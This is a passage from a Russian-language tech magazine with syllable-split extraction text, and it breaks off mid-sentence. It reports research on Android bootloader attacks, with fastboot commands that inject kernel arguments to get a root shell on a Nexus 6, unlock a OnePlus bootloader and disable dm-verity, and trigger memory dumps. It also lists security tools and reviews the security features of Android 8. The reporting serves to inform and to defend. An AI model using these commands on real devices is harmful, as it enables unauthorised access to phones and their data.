$ fastboot oem config carrier abc

и  пос леду ющей  заг рузки  смар тфо на  с  помощью    ядру
будет передан аргу мент carrier=abc. Пока ничего кри миналь ного. Но, конеч но
же,  здесь  есть  проб лема  валида ции  вход ных  дан ных,  то  есть  воз можность
передать  ядру  допол нитель ные  парамет ры  с  помощью  осо бым  обра зом
сфор мирован ной коман ды. Нап ример, выпол нение такой коман ды:

fastboot  continue

$ fastboot oem config carrier "a rdinit=/sbin/foo"

при ведет  к  переда че  ядру  парамет ров  carrier=a  и  rdinit=/sbin/foo.  Это  уже
нам ного  инте рес нее. С  помощью  того  же  парамет ра  rdinit  мож но  зас тавить
ядро запус тить любой бинар ник из initramfs (RAM‐диск Android). Но есть дру‐ 
гая  проб лема:  в  initramfs  нет  бинар ных  фай лов,  под ходящих  для  получе ния
root‐шел ла.

Ис сле дова тели  вык рутились  и  из  этой  ситу ации.  Дело  в  том,  что
с  помощью  fastboot  мож но  не  толь ко  про шивать  и  раз лочивать  смар тфон,
но  и  заг ружать  в  его  опе ратив ку  любой  код.  Эта  фун кция  исполь зует ся
для про шив ки, но если сама про шив ка невоз можна в слу чае залочен ного заг‐ 
рузчи ка, то заг рузка кода — впол не.

Что бы исполь зовать эту воз можность, дос таточ но соб рать debug‐вер сию
initramfs,  которая вклю чает  в  себя работа ющий с пра вами  root ADB, не  тре‐ 
бующий  авто риза ции.  Заг рузить  этот  initramfs  в  смар тфон,  дам пнуть  опе‐ 
ратив ную  память  смар тфо на,  что бы  узнать  адрес  заг рузки,  и  передать  этот
адрес ядру с помощью аргу мен та initrd:

$ fastboot oem config fsg‐id "a initrd=0x11000000,1518172"

$ fastboot flash aleph malicious.cpio.gz

... загрузчик сообщит, что прошить файл не удалось, но файл останется

в памяти ...

$ fastboot continue

$ adb shell

shamu:/ # id

uid=0(root) gid=0(root) groups=0(root),[...] context=u:r:su:s0

shamu:/ # setenforce permissive

shamu:/ # getenforce

Permissive

shamu:/ #

По лучив пра ва root, ата кующий так же может переза писать boot‐раз дел, внед‐ 
рив в него экс пло ит (на Nexus 6 такое воз можно из‐за непол ной реали зации
verified  boot),  про извести  даун грейд  заг рузчи ка,  раз дела  TrustZone,  раз бло‐ 
киро вать заг рузчик, если такая про цеду ра уже про води лась, и переза писать
некото рые раз делы.

Раз бло киров ка заг рузчи ка и отклю чение verified boot в OnePlus
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Здесь  все  нам ного  про ще,  с  помощью  такой  коман ды  раз бло киру ем  заг‐ 
рузчик без сбро са до завод ских нас тро ек:

$ fastboot oem 4F500301

С помощью такой — отклю чаем механизм verified boot:

$ fastboot oem disable dm verity

Дамп опе ратив ной памяти Nexus 5X

Заг рузчик  смар тфо на  поз воля ет  выз вать  kernel  panic  с  помощью  коман ды
. В резуль тате появ ляет ся воз можность снять дамп опе‐ 

ратив ной памяти с помощью интерфей са serial over USB.
fastboot oem panic

Дос туп к скры тым фун кци ям

Не кото рые  модели  смар тфо нов  поз воля ют  получить  дос туп  к  фун кци ям
отладки  и  диаг ности ки.  Нап ример,  в  Nexus  6  мож но  получить  дос туп
к интерфей су диаг ности ки модема и в резуль тате прос лушивать телефон ные
раз говоры, сни фать тра фик, получать информа цию о звон ках и совер шать их,
читать СМС.

Про цесс заг рузки смар тфо на

ПРИЛОЖЕНИЯ

  —  при ложе ние,  которое  поз воля ет  прев ратить
устрой ство  в  пол ноцен ную  кла виату ру  и  мышь.  Не  тре бует  уста нов ки
каких‐либо прог рамм на ПК, сов мести мо с любыми ОС и работа ет в том
чис ле в BIOS. Минус — нуж но уста новить кас томное ядро (есть в ком плек‐ 
те).

• Android  Keyboard  Gadget

  —  при ложе ние,  сжи мающее  дан ные  уста нов ленных  при ложе ний.
В  сво ей  работе  исполь зует  псев доФС  fusecompress,  работа ет  толь ко
на Android 7 и выше.

• Zdata

Zdata

ИНСТРУМЕНТЫ И СЕМПЛЫ

  —  инс тру мент  сбор ки  при ложе ний  для  Android  на  самом  Android.
Пред став ляет собой набор скрип тов, которые раз ворачи вают Debian в ch‐
root  и  уста нав лива ют  в  него  Android  SDK.  Плюс  прос тень кий  редак тор
с под свет кой син такси са;

• AStA

 — исходный код при ложе ния, спо соб ного получить информа цию
о том, какие при ложе ния уста нов лены в iOS, вклю чая мес то рас положе ния
в фай ловой сис теме и мно гое дру гое (баг исправ лен в iOS 11);

• AppBleed

 — образ Docker для реверс‐инжи нирин га при ложе ний Android,
вклю чает в себя эму лято ры, apktool, dex2jar, Frida, jadx, radare2 и мно жес‐ 
тво дру гих инс тру мен тов;

• AndroidRE

 — инс тру мент для модифи кации APK с целью обхо да анти вирус‐ 
ных сис тем;

• AVPASS

  —  исходный  код  пер вой  вер сии  экс пло ита  JailbreakMe,
который поз воля ет выпол нить джей лбрейк через бра узер;

• JailbreakMe‐1.0

  —  каталог  заг рузчи ков  и  boot‐раз делов  для  более  чем
полуто ра тысяч устрой ств.

• Firmware.mobi

 —  скрипт  для  получе ния  исчерпы вающей  информа ции  об  Android‐
устрой стве.  Уме ет  показы вать  имя  устрой ства,  вер сию  Android,  вер сию
модема,  ядра,  запущен ные  про цес сы,  сетевую  ста тис тику,  таб лицу  раз‐ 
делов и мно гое дру гое.

• twiga

 —  биб лиоте ка  и  набор  при меров  для  ска чива ния  при‐ 
ложе ний  и  получе ния  информа ции  из  Google  Play  с  помощью  эму ляции
Nexus 5X.

• node‐google‐play

 —  инс тру мент  для  поис ка  скры тых  (и  потен циаль но  небезо пас‐ 
ных) fastboot‐команд в заг рузчи ках смар тфо нов. Все, что нуж но, — это ска‐ 
чать образ заг рузчи ка и нат равить на него скрипт.

• abootool

  —  инс тру мент  иссле дова ния,  поз воля ющий  внед рить ся  в  при‐ 
ложе ние  iOS  или  Android  и  про вес ти  ана лиз  его  при ват ного  катало га,
памяти, клас сов, методов, извлечь содер жимое базы SQLite, обой ти SSL‐
пин нинг. Objection осно ван на Frida и уме ет запус кать гад жеты и скрип ты,
соз данные для нее.

• objection

При мер прос мотра при ват ного катало га при ложе ния с помощью
objection

РАЗРАБОТКА

Ани мация на осно ве физики

  —  статья  о  том,  как  ани‐ 
миро вать объ екты так, что бы их переме щения под чинялись законам физики.
Нап ример,  реали зовать  эффект  пру жины,  ког да  отда лен ный  на  некото рое
рас сто яние  от  сво его  текуще го  положе ния  объ ект  при тяги вает ся  обратно,
или перемес тить объ ект с пос тепен ным затуха нием его ско рос ти и отско ком
от дру гих объ ектов.

Introduction  to  Physics‐based  animations  in  Android

Все это мож но реали зовать с помощью стан дар тной биб лиоте ки support‐
dynamic‐animation. Она вклю чает в себя два клас са: SpringAnimation и FlingAn‐
imation. Пер вый реали зует тот самый эффект пру жины, вто рой поз воля ет соз‐ 
дать неч то вро де эффекта сколь жения по льду. Исполь зовать их очень прос‐ 
то. Нап ример, мож но соз дать GuestorListener и повесить его на нуж ный View:

private GestureDetector.OnGestureListener mGestureListener = new 

GestureDetector.SimpleOnGestureListener() {

   ...

   @Override

   public boolean onFling(MotionEvent downEvent, MotionEvent moveEv

ent, float velocityX, float velocityY) {

       //Fling Right/Left

       FlingAnimation flingX = new FlingAnimation(mViewTobeFlung, 

DynamicAnimation.TRANSLATION_X);

       flingX.setStartVelocity(velocityX)

         .setMinValue(MIN_TRANSLATION) // minimum translationX 

property

         .setMaxValue(maxTranslationX)  // maximum translationX 

property

         .setFriction(FRICTION)

         .start();

       return true;

   }

};

Что такое интерпо лято ры

  —  хорошая  статья,  прос тым  язы ком
пояс няющая  идею  интерпо лято ров,  исполь зуемых  при  ани мации  объ ектов
в Android. В статье есть матема тика, но для понима ния логики про исхо дяще го
она не нуж на. К тому же все при меры мож но най ти в  .

Understanding  Interpolators  in  Android
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X‐MOBILE

Android  8 —  едва  ли  не  самое  важ ное  обновле ние  Android
за пос ледние годы. В Oreo появил ся модуль ный дизайн, поз‐ 
воля ющий  обновлять  ком понен ты ОС  незави симо,  сис тема
огра ниче ния фоновой  работы  при ложе ний,  которая  дол жна
прод лить вре мя работы на одном заряде, а так же мно жес тво
улуч шений безопас ности, о которых мы и погово рим в этой
статье.

Сре ди всех новов ведений Android 8 осо бое мес то занима ют три:
Treble — новый модуль ный HAL (Hardware Abstraction Layer), который поз‐ 
воля ет  чет ко  отде лить  от  осталь ной  час ти  ОС  низ коуров невый  код  ОС,
завися щий от про изво дите ля смар тфо на и чип сета;

•

сис тема огра ниче ний фоново го исполне ния при ложе ний, которая дол жна
помочь  в  борь бе  со  жру щими  акку муля тор  при ложе ниями,  зап рещая  их
фоновое  исполне ние  (если  крат ко:  фоновый  сер вис  может  работать
не  доль ше  пяти  минут,  а  при ложе ние  не  будет  раз бужено  или  запуще но
от внеш него обще сис темно го события);

•

Google Play Protect и дру гие новов ведения, нап равлен ные на защиту поль‐ 
зовате ля от злов редных при ложе ний, уста нов ленных как из Google Play, так
и из сто рон них источни ков.

•

С сис темой огра ниче ний фоново го исполне ния все более или менее понят‐ 
но, а о Treble, который в пер спек тиве может кар диналь но улуч шить ситу ацию
с обновле ниями Android, мы  . Но мы сно ва кос немся его в кон тек‐ 
сте обсужде ния безопас ности.

уже писали

GOOGLE PLAY PROTECT

В 2012 году, прак тичес ки одновре мен но с релизом Android 4.2, Google запус‐ 
тила  облачный  анти вирус  с  неб роским  име нем  Verify  Apps.  Анти вирус  был
встро ен  в  сер висы  Google  Play,  которые  уста нов лены  поч ти  на  каж дом  An‐
droid‐смар тфо не  как  часть  набора  при ложе ний  Google,  поэто му  одно
обновле ние сер висов Google Play быс тро рас простра нило анти вирус на мил‐ 
лионы устрой ств без ведома поль зовате лей.

Се год ня  с  помощью  Verify  Apps  Google  ска ниру ет  мил лиар ды  Android‐
устрой ств (два мил лиар да в сум ме и один мил лиард ежед невно) и пос тоян но
об этом отчи тыва ется, гор до рас ска зывая о новых циф рах. Анти вирус работа‐ 
ет всег да и при вклю чен ном интерне те про веря ет каж дое уста нов ленное при‐ 
ложе ние, в том чис ле те, что поль зователь ста вит с кар ты памяти или из аль‐ 
тер натив ных мар кетов.

Боль шинс тво  юзе ров  об  этом  даже  не  подоз рева ют  и,  нас лушав шись
исто рий  о  тоталь ной  небезо пас ности  Android,  про дол жают  уста нав ливать
на смар тфо ны сто рон ние анти виру сы. В некото рых слу чаях это ока зыва ется
пус той тра той денег, в дру гих обо рачи вает ся лож ными сра баты вани ями, ког‐ 
да  анти вирус  руга ется  на  все,  что  может  отправ лять  СМС,  показы вать  рек‐ 
ламу в штор ке или исполь зовать  . В треть их (и это наибо лее час тый
вари ант) при водит к замед лению устрой ства и повышен ному рас ходу заряда
акку муля тора.

овер леи

Что бы решить эту проб лему и показать,  что на самом деле в смар тфо не
уже есть анти вирус, Google при дума ла шту ку под наз вани ем Google Play Pro‐
tect.  Это  не  что  иное,  как  интерфейс,  поз воля ющий  оце нить  работу  Verify
Apps.  В  Android  Oreo  он  дос тупен  в  раз деле  нас тро ек  «Безопас ность»,
в более ста рых вер сиях — в раз деле «Google → Безопас ность». Цен ность его
невели ка,  но  он  поз воля ет  быс тро  узнать,  что  с  тво им  смар тфо ном  все
в поряд ке и он регуляр но про веря ется (а если точ нее — во вре мя заряд ки).

Google Play Protect

Вмес те с новым интерфей сом Google вытащи ла наружу еще нес коль ко инди‐ 
като ров  работы  анти виру са.  Вер сия  Play  Store  для  Oreo  показы вает  ста тус
про вер ки  при ложе ния  на  его  стра нице,  а  так же  выводит  кра сивый  зеленый
щит с над писью «Все хорошо, парень, ты защищен» в спис ке уста нов ленных
при ложе ний.

Кро ме  того,  раз работ чики  сто рон них  при ложе ний  теперь  име ют  дос туп
к  API  Verify  Apps,  точ нее  к  его  малень кой  час тичке,  которая  поз воля ет  про‐ 
верить, есть ли на смар тфо не вирусы, и зап ретить уста нов ку сво его при ложе‐ 
ния, если это так.

СТОРОННИЕ ИСТОЧНИКИ ПРИЛОЖЕНИЙ

Про цесс уста нов ки при ложе ний из сто рон них источни ков так же слег ка изме‐ 
нил ся.  Теперь,  что бы  уста новить  при ложе ние  не  из  Play  Store,  нет  необ‐ 
ходимос ти акти виро вать перек лючатель «Неиз вес тные источни ки» в раз деле
«Безопас ность» в нас трой ках. Вмес то это го необ ходимо дать пра во уста нав‐ 
ливать APK отдель но взя тым при ложе ниям.

Дру гими сло вами, если ты хочешь, что бы Amazon Appstore и F‐Droid мог ли
уста нав ливать при ложе ния, ты дол жен дать каж дому из них такое пра во. И это
дей стви тель но пра виль ный механизм с одним «неболь шим» минусом: что бы
уста новить Amazon Appstore, тебе нужен бра узер, а это зна чит, что ему тоже
необ ходимо дать  пра во  уста нов ки  при ложе ний. Пос ле  это го  весь механизм
защиты  летит  к  чер ту.  Хотя,  конеч но,  тебе  все  еще  надо  собс твен норуч но
под тверждать каж дую уста нов ку при ложе ния.

TREBLE

В Android 8 впер вые появи лась реали зация ини циати вы Treble, которая ста ла
самой круп ной перера бот кой внут ренних ком понен тов Android со вре мен An‐
droid  4.0.  Смысл  Treble  зак люча ется  в  раз делении  Android  на  две  незави‐ 
симые  час ти,  одна  из  которых  обес печива ет  связь  с  железом  (ядро  Linux,
драй веры  и  дру гие  низ коуров невые  ком понен ты  ОС),  а  дру гая  вклю чает
в себя саму опе раци онную сис тему Android.

Ло гичес кое деление Android до Treble и пос ле

В пер вую оче редь Treble нацелен на решение проб лемы обновле ний и фраг‐ 
мента ции.  Про изво дите лям  смар тфо нов  теперь  не  нуж но  ждать,  пока  про‐ 
изво дите ли чип сета и дру гого обо рудо вания соиз волят выпус тить драй веры
и дру гие ком понен ты HAL для новой вер сии Android. Вмес то это го они могут
пор тировать  Android  на  уже  име ющуюся  осно ву,  и  в  теории  он  будет  прек‐ 
расно работать.

Раз работ чики Android  , что Treble так же спо собен решить мно гие
проб лемы безопас ности. Раз работ чики не толь ко раз делили ОС на две час‐ 
ти, но и реор ганизо вали плат формен но зависи мые ком понен ты ОС. Каж дый
из  них  теперь  работа ет  в  жес тко  изо лиро ван ной  песоч нице  и  обща ется
с ком понен тами ОС через типизи рован ные каналы с про вер кой пол номочий
(для это го в IPC‐механизм Binder вне сены соот ветс тву ющие прав ки).

за явля ют

Ус трой ства,  изна чаль но  работа ющие  на  Android  8,  будут  иметь  пре иму‐ 
щес тва Treble из короб ки, но с девай сами, которые получат Android 8 в фор ме
обновле ния,  все  не  так  прос то. Google  сооб щает,  что  работа ет  с  круп ными
про изво дите лями устрой ств, что бы реали зовать Treble в рам ках обновле ния,
но в то же вре мя некото рые устрой ства самой Google вклю чают в себя непол‐ 
ную реали зацию Treble.

ЗАЩИТА ОТ ДАУНГРЕЙДА

Еще в Android 4.4 Google реали зова ла механизм Verified Boot,  который про‐ 
веря ет  целос тность  ком понен тов  ОС  на  всех  эта пах  заг рузки  смар тфо на
и  поз воля ет  зап ретить  заг рузку,  если  обна ружит ся,  что  заг рузчик,  ядро
или ОС были модифи циро ваны. В сле дующих вер сиях Android механизм неп‐ 
рерыв но  совер шенс тво вал ся,  но  в  нем  всег да была одна  проб лема — воз‐ 
можность сде лать даун грейд.

Да унгрейд  опа сен  тем,  что  может  быть  исполь зован  для  получе ния  дос‐ 
тупа  к  смар тфо ну  с  помощью  «воз вра щения  ста рых  багов».  Допус тим,
человек  украл  телефон,  понял,  что  он  зашиф рован,  запаро лен,  а  заг рузчик
заб локиро ван.  Кас томную  про шив ку  он  уста новить  не  может  (из‐за  несов‐ 
падения сер тифика та), но может отка тить смар тфон к ста рой вер сии Android,
в  которой  был  баг,  поз воля ющий  обой ти  бло киров щик  экра на  (такой  был
в про шив ке Samsung, нап ример), и с его помощью получа ет дос туп к содер‐ 
жимому.

Не кото рые  про изво дите ли  пытались  защитить ся  от  даун грей да  сво ими
метода ми.  В  Android  8  теперь  есть    этой  защиты.
Но она отклю чает ся при раз бло киров ке заг рузчи ка штат ными средс тва ми.

офи циаль ная  реали зация

Ме тадан ные Verified Boot теперь вклю чают в себя Rollback Index
для защиты от отка та

ФИЛЬТР SECCOMP ДЛЯ ПРИЛОЖЕНИЙ

Seccomp — это тех нология ядра Linux, которая поз воля ет огра ничить спи сок
дос тупных при ложе нию  (и в пер спек тиве опас ных) сис темных вызовов. Нап‐ 
ример, мож но зап ретить при ложе нию исполь зовать сис темный вызов execve,
который  час то  при меня ют  экс пло иты,  или  заб локиро вать  сис темный  вызов
listen, с помощью которо го мож но повесить на сетевой порт бэк дор.

Тех нология исполь зует ся в Android уже дос таточ но дав но, но при меня ется
в основном к сис темным ком понен там. В Android 8 seccomp‐филь тр внед рен
в zygote — про цесс, который порож дает про цес сы всех уста нов ленных в сис‐ 
тему при ложе ний.

Раз работ чики  , какие сис темные вызовы нуж ны для заг‐ 
рузки ОС и работы боль шинс тва при ложе ний, а затем отсекли лиш ние. В ито‐ 
ге  в  чер ный  спи сок  попали  17  из  271  сис темно го  вызова  на  ARM‐ 
64 и 70 из 364 на ARM. В спис ке ока зал ся и сис темный вызов для под клю‐ 
чения  swap‐раз дела,  так  что,  воз можно,  в  Android  8  при ложе ния  для  акти‐ 
вации сво па не заведут ся.

про ана лизи рова ли

Краш сис темы при попыт ке выпол нить нераз решен ный сис темный вызов

ЗАЩИТА ЯДРА

За прош лый год более тре ти уяз вимос тей Android были най дены в ядре. 45%
уяз вимос тей ядра, начиная с 2014 года, выз ваны отсутс тви ем про вер ки гра‐ 
ниц  в  фун кци ях  копиро вания  дан ных  из  памяти  ядра  в  память  про цес са
и обратно. Пат чи  с  решени ем дан ной  проб лемы были при няты  в  ядро  Linux
еще  в  2016  году  (Linux  4.8),  но  до  Android  они  не  дош ли:  здесь  до  сих  пор
исполь зуют ся  ядра  вер сий  3.18,  4.4  и  дру гих  (в  зависи мос ти  от  чип сета).
Google бэк порти рова ла исправ ления из Linux 4.8 в 3.18 и дру гие вер сии ядер
Android. Теперь эти изме нения дос тупны как часть Android 8.

Дру гая свя зан ная с ядром проб лема — пря мой дос туп к памяти про цес сов
из  режима  ядра.  Хотя  само  ядро  обыч но  не  исполь зует  эту  воз можность,
некор рек тно  написан ные  драй веры  могут  это  делать,  что  при водит  к  появ‐ 
лению  уяз вимос тей.  Для  устра нения  этой  проб лемы  в  ARM  v8.1  появил ся
механизм PAN (Privileged Access Never), сход ный по сво ей фун кци ональ нос ти
с  сис темой SMAP  (Supervisor Mode  Access  Prevention)  в  x86. Он  зап реща ет
обра щать ся к памяти про цес сов нап рямую и при нуж дает исполь зовать фун‐ 
кции копиро вания памяти.

Про цес соры архи тек туры ARM v8.1 пока прак тичес ки не рас простра нены,
поэто му раз работ чики Linux соз дали соф твер ный вари ант той же фун кции. Он
был интегри рован в Linux 4.3 для плат формы ARM и в Linux 4.10 для ARM 64.
Google бэк порти рова ла этот механизм во все ядра Android начиная с 3.18.

Так же  ядра  Android  4.4  и  выше  теперь  вклю чают  в  себя  реали зацию
механиз ма KASLR (Kernel Address Space Layout Randomization), который ран‐ 
домизи рует учас тки рас положе ния кода, хипа, дан ных ядра в памяти при каж‐ 
дой заг рузке, делая ата ки на ядро более слож ными в реали зации.

Все  ядра  3.18  и  выше  теперь  так же  вклю чают  в  себя  фун кцию 
,  помеча ющую  учас тки  памяти,  которые  были  дос тупны

для записи во вре мя ини циали зации ядра, как read‐only уже пос ле ини циали‐ 
зации.

post‐init
read‐only  memory

ЗАЩИТА НАТИВНОГО КОДА

С  самых  пер вых  вер сий  Android  под держи вал  при ложе ния,  написан ные
не  толь ко  на  Java,  но  и  на  язы ках  C,  C++  и  дру гих,  которые  мож но  ском‐ 
пилиро вать в натив ный код. Такой код раз мещал ся в раз деля емой биб лиоте‐ 
ке  внут ри  пакета  при ложе ния  и  мог  быть  заг ружен  в  память  с  помощью
механиз ма JNI.

И хотя такой код оста вал ся отре зан ным от основной сис темы с помощью
песоч ниц, он мог соз дать проб лемы самому при ложе нию. Допус тить ошиб ку
в коде на C++ гораз до про ще, чем в коде на Java. Это язык без про вер ки гра‐ 
ниц памяти и сбор щика мусора. Ошиб ки перепол нения буфера в нем — такая
же обы ден ность, как ошиб ки обра бот ки путей в веб‐при ложе ниях.

Что бы хоть как‐то защитить от взло ма при ложе ния, содер жащие натив ный
код,  Google  зап ретила  заг ружать  в  при ложе ние,  соб ранное  для  Android  8,
биб лиоте ки,  в  которых  есть  сег менты,  помечен ные  одновре мен но
как исполня емые и записы ваемые. Это один из прос тей ших методов борь бы
с ата ками на перепол нение буфера, но рань ше он при менял ся толь ко в отно‐ 
шении ком понен тов самой ОС.

СКРЫТИЕ ИНФОРМАЦИИ ОБ УСТРОЙСТВЕ

Android  8  скры вает  раз личную  информа цию,  поз воля ющую  иден тифици‐ 
ровать устрой ство, от при ложе ний и дру гих устрой ств. Android ID (

),  уни каль ный  иден тифика тор  Android,  теперь  раз личен
для  каж дого  уста нов ленно го  при ложе ния. Серий ный  номер  устрой ства  (

)  недос тупен  при ложе ниям,  соб ранным  для  Android
8 и выше. Вмес то него теперь необ ходимо исполь зовать метод 

, который тре бует под твержде ния пол номочия на дос туп к фун кци ям
чте ния  информа ции  о  смар тфо не.  Содер жимое  поля    теперь
пус то, а DHCP‐кли ент никог да не посыла ет хос тнейм DHCP‐сер веру.

Settings.
Secure.ANDROID_ID

an‐
droid.os.Build.SERIAL

Build.get‐
Serial()

net.hostname

Дру гие недос тупные сто рон ним при ложе ниям дан ные:
 — вре мя пос ледней заг рузки;• ro.runtime.firstboot

  —  серий ный  номер  камеры  (на  устрой ствах
HTC);

• htc.camera.sensor.front_SN

 — MAC‐адрес Bluetooth;• persist.service.bdroid.bdaddr
  —  MAC‐адрес  Bluetooth,  теперь  дос‐ 

тупен  толь ко  при ложе ниям,  у  которых  есть  раз решение 
.

• Settings.Secure.bluetooth_address
LOCAL_MAC_AD­

DRESS

Для получе ния информа ции о сис темных акка унтах теперь недос таточ но раз‐ 
решения  .  По  умол чанию  при ложе ние  может  получить  дос туп
толь ко к сво им акка унтам (нап ример, Gmail → акка унт Google) и дол жно явно
спра шивать поль зовате ля о дос тупе к дру гим.

GET_ACCOUNTS

В целях  обратной  сов мести мос ти  все  эти огра ниче ния  дей ству ют  толь ко
для при ложе ний, соб ранных для Android 8 и выше.

РАНДОМИЗАЦИЯ MAC-АДРЕСА WI-FI

Мо биль ные ОС исполь зуют широко веща тель ные зап росы Wi‐Fi не толь ко что‐ 
бы най ти точ ку дос тупа для под клю чения, но и что бы опре делить мес тополо‐ 
жение  устрой ства  в  помеще нии.  У  Google  и  Apple  есть  база  MAC‐адре сов
точек дос тупа и их геог рафичес кого рас положе ния. Получив ответ от оче ред‐ 
ной  точ ки  дос тупа,  устрой ство  отправ ляет  его  MAC  на  сер вер  и  в  ответ
получа ет коор динаты.

Этот  механизм  отлично  работа ет,  но  его  же  мож но  повер нуть  и  дру гим
обра зом.  Круп ные  тор говые  цен тры  исполь зуют  его,  что бы  отсле живать
по  MAC‐адре сам  смар тфо нов  переме щения  покупа телей,  более  мел кие
магази ны  —  что бы  узнать,  сколь ко  раз  тот  или  иной  покупа тель  при ходил
к ним. Но еще есть спец служ бы и те, кто могут про давать такую информа цию
на третью сто рону.

Один  из методов борь бы  с  этим  явле нием — пол ное  отклю чение  любых
ска нов Wi‐Fi. В Android 6, 7, 8 это мож но сде лать, отклю чив опцию Settings →
Location → Scanning → Wi‐Fi Scanning, в более ста рых вер сиях — через рас‐ 
ширен ные  нас трой ки  Wi‐Fi.  Но  гораз до  более  пра виль ный  под ход  —  ран‐ 
домизи ровать MAC‐адрес при каж дом ска не. В iOS такая фун кция появи лась
еще  в  вось мой  вер сии,  одна ко  до  Android,  в  силу  огромной  фраг мента ции
и сущес тво вания мно жес тва про изво дите лей чип сетов Wi‐Fi, она доб ралась
толь ко сей час.

Фун кция  ран домиза ции  дол жна  работать  как  минимум  в  Pixel,  Pixel  XL
и Nexus 5X.

WEBVIEW В ОТДЕЛЬНОМ ПРОЦЕССЕ

WebView — это базиру ющий ся на Chromium ком понент Android, поз воля ющий
при ложе ниям отоб ражать в сво ем окне веб‐стра ницы. Его исполь зуют очень
мно гие при ложе ния, вклю чая боль шую часть сто рон них бра узе ров.

У WebView есть проб лема — он работа ет в  том же про цес се,  что и само
при ложе ние.  Дру гими  сло вами:  если WebView  пада ет,  он  забира ет  с  собой
при ложе ние, если в WebView обна ружи вают уяз вимость, с помощью которой
мож но  получить  кон троль  над  про цес сом,  —  кон троль  мож но  получить
над всем при ложе нием.

В  Android  8  WebView  изо лиро ван.  Он  работа ет  в  отдель ном  про цес се
в сво ей собс твен ной, очень огра ничен ной песоч нице, которая не допус кает
обра щения  ни  к  пос тоян ной  памяти,  ни  к  интерне ту.  Эту  работу  дол жно
выпол нять  само  при ложе ние,  а  WebView  оста ется  толь ко  отоб ражать  стра‐ 
ницу.

Кро ме  того, WebView  теперь  так же может  исполь зовать  тех нологию Safe
browsing, зна комую всем поль зовате лям Chrome. Safe browsing пре дуп режда‐ 
ет о потен циаль но небезо пас ных сай тах и тре бует явно под твер дить переход
на такой сайт.

ПАРОЛЬ НА ДОСТУП К ОПЦИЯМ ДЛЯ РАЗРАБОТЧИКОВ

Раз дел нас тро ек с опци ями для раз работ чиков содер жит мас су инс тру мен тов
для  отладки  и  дам па  информа ции  об  устрой стве.  Самый  опас ный  из  них
ADB — средс тво отладки, поз воля ющее получить дос туп  к сис темно му жур‐ 
налу, мас се сис темной информа ции и даже коман дной стро ке.

На чиная с Android 4.2 ADB тре бует аутен тифика ции, а сами опции для раз‐ 
работ чиков скры ты. Для дос тупа к ним необ ходимо семь раз нажать на пункт
«Номер  сбор ки»  в  раз деле  нас тро ек  «О  телефо не».  Это  никог да  не  было
средс твом  защиты  от  зло умыш ленни ков,  это  средс тво  защиты  от  дурака,
который может залезть в нас трой ки и вклю чить то, что вклю чать не сто ит.

В Android 8 нас трой ки для раз работ чиков дей стви тель но защище ны. К ним
нель зя получить дос туп, не вве дя пароль бло киров ки экра на.

ЗАПРЕТ НА СКРЫТОЕ ПОЛУЧЕНИЕ ПОЛНОМОЧИЙ

Од ним  из  глав ных  новов ведений  Android  6.0  ста ла  сис тема  под твержде ния
пол номочий.  При ложе ния  ста ли  получать  пра ва  на  исполь зование  тех
или иных фун кций смар тфо на не сра зу пос ле уста нов ки, а толь ко пос ле явно‐ 
го под твержде ния со сто роны поль зовате ля.

Это очень важ ное новов ведение, которое тем не менее стра дает от одной
очень боль шой проб лемы. Оно работа ет толь ко для при ложе ний, соб ранных
под Android 6.0 и выше. Дру гими сло вами, если раз работ чик при ложе ния ука‐ 
жет в пра вилах сбор ки    (то есть Android 5.1), его при‐ 
ложе ние получит все пол номочия авто мати чес ки.

targetSdkVersion 22

Google была вынуж дена реали зовать сис тему имен но таким обра зом, что‐ 
бы сох ранить сов мести мость со ста рым соф том, и, естес твен но, эту осо бен‐ 
ность сра зу начали экс плу ати ровать соз датели раз ного рода вирусов. Более
того,  ее  исполь зуют  даже  некото рые  круп ные  раз работ чики  (при вет,
Snapchat), что бы не отвле кать поль зовате ля окош ками о необ ходимос ти под‐ 
тверждать пол номочия.

Что бы хоть как‐то сни зить рис ки, Google   неч то под наз вани‐ 
ем  runtime‐only  permissions.  Это  защита,  которая  зак рыва ет  опре делен ные
пол номочия  для  исполь зования,  пока  при ложе ние  не  зап росит  их  явно,  вне
зависи мос ти от того, для какой вер сии Android соб рано при ложе ние.

ре али зова ла

По ка в спис ке таких пол номочий чис лится толь ко  , то
есть воз можность отве чать на звон ки.

ANSWER_PHONE_CALLS

ФУНКЦИЯ АВТОЗАПОЛНЕНИЯ ПОЛЕЙ И ФОРМ

Ме нед жер паролей с фун кци ей авто запол нения — очень удоб ное и полез ное
при ложе ние, осо бен но в том слу чае, если под клю чать смар тфон к Google нет
никако го желания. Но есть у таких при ложе ний одна серь езная проб лема: все
они исполь зуют в сво ей работе сер вис Accessibility,  который не  толь ко дает
прак тичес ки пол ный кон троль над смар тфо ном, но и серь езно вли яет на про‐ 
изво дитель ность (в кон це кон цов, Accessibility был при думан сов сем для дру‐ 
гих целей).

Что бы  устра нить  этот  недос таток,  Google  реали зова ла  сис тему  Autofill,
которая  поз воля ет  при ложе ниям  запол нять  поля  стан дар тным  безопас ным
спо собом без исполь зования кос тылей и рас порок.

РЕЖИМ ИНКОГНИТО В КЛАВИАТУРЕ

Кла виату ра Android (как и мно гие сто рон ние кла виату ры) исполь зует мно жес‐ 
тво  механиз мов  пер сонали зации  для  помощи  при  вво де  тек ста.  Это  и
запоми нание  сде лан ного  выбора авто допол нения,  и  поль зователь ский  сло‐ 
варь, и логиро вание вве ден ного тек ста. Кла виату ра Gboard ко все му про чему
еще и отсы лает весь вве ден ный текст на сер веры Google.

Са мо собой, такое поведе ние кла виату ры может быть опас ным во мно гих
слу чаях.  Поэто му  в  Android  8  теперь  есть  режим  инкогни то  для  кла виату ры,
который  зап реща ет  ей  что‐либо  запоми нать. Он реали зован  как  часть  биб‐ 
лиоте ки сов мести мос ти и поэто му может быть акти виро ван и в более ран них
вер сиях сис темы, если при ложе ние это под держи вает.

По ка  под дер жка  режима  инкогни то  в  кла виату ре  есть  толь ко  в  Google
Chrome и ноч ных сбор ках Firefox.

ОДНОЙ СТРОКОЙ

Под дер жка SSLv 3 отклю чена из‐за уяз вимос ти Poodle Attack.•
HttpsURLConnection боль ше не пыта ется перек лючить ся на более низ кую
вер сию  TLS,  если  сер вер  некор рек тно  отве чает  на  зап рос  о  под держи‐ 
ваемой вер сии.

•

ВЫВОДЫ

Сис тема  безопас ности  Android  совер шенс тву ется  с  выходом  каж дой  новой
вер сии  ОС.  Google  реали зует  огромное  количес тво  защит ных  механиз мов,
но  проб лема  безопас ности  Android  оста ется  острой.  Боль шинс тво  текущих
смар тфо нов  на  Android  7  никог да  не  получат  обновле ние  до  Android  8,
